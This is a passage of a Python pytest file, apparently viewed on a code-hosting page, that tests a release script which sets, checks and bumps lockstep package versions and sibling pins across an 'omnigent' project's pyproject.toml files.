update_versions.set_version(repo_copy, "9.9.9")
|
||||
assert '"databricks-mcp>=0.1.0",' in root_pyproject.read_text()
|
||||
|
||||
|
||||
def test_check_detects_version_drift(repo_copy: Path) -> None:
|
||||
update_versions.set_version(repo_copy, "9.9.9")
|
||||
# Knock one package out of lockstep but keep it internally consistent
|
||||
# (version + its own sibling pin both move) so the cross-package
|
||||
# disagreement is what surfaces, not a missing pin.
|
||||
ui = repo_copy / "sdks/ui/pyproject.toml"
|
||||
ui.write_text(ui.read_text().replace("9.9.9", "9.9.8"))
|
||||
with pytest.raises(ValueError, match="disagree"):
|
||||
update_versions.check(repo_copy)
|
||||
|
||||
|
||||
def test_check_detects_missing_pin(repo_copy: Path) -> None:
|
||||
update_versions.set_version(repo_copy, "9.9.9")
|
||||
# Break the sibling pin while leaving the version intact.
|
||||
client = repo_copy / "sdks/python-client/pyproject.toml"
|
||||
client.write_text(client.read_text().replace('"omnigent==9.9.9"', '"omnigent==9.9.8"'))
|
||||
with pytest.raises(ValueError, match="missing exact pin"):
|
||||
update_versions.check(repo_copy)
|
||||
|
||||
|
||||
def test_set_version_fails_loud_when_line_absent(tmp_path: Path) -> None:
|
||||
# A pyproject missing the version line must raise, not silently no-op.
|
||||
root = tmp_path / "repo"
|
||||
(root / "sdks/python-client").mkdir(parents=True)
|
||||
(root / "sdks/ui").mkdir(parents=True)
|
||||
(root / "pyproject.toml").write_text('[project]\nname = "omnigent"\n')
|
||||
(root / "sdks/python-client/pyproject.toml").write_text("[project]\n")
|
||||
(root / "sdks/ui/pyproject.toml").write_text("[project]\n")
|
||||
with pytest.raises(ValueError, match="expected exactly 1 match"):
|
||||
update_versions.set_version(root, "9.9.9")
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("released", "expected"),
|
||||
[
|
||||
("0.1.2", "0.1.3.dev0"),
|
||||
("1.0.0", "1.0.1.dev0"),
|
||||
("0.1.2rc1", "0.1.3.dev0"),
|
||||
("2.5.9", "2.5.10.dev0"),
|
||||
],
|
||||
)
|
||||
def test_next_dev_version(released: str, expected: str) -> None:
|
||||
assert update_versions.next_dev_version(released) == expected
|
||||
|
||||
|
||||
def test_validate_pep440_rejects_junk() -> None:
|
||||
with pytest.raises(SystemExit, match="invalid version"):
|
||||
update_versions._validate_pep440("not-a-version")
|
||||
Reference in New Issue
Block a user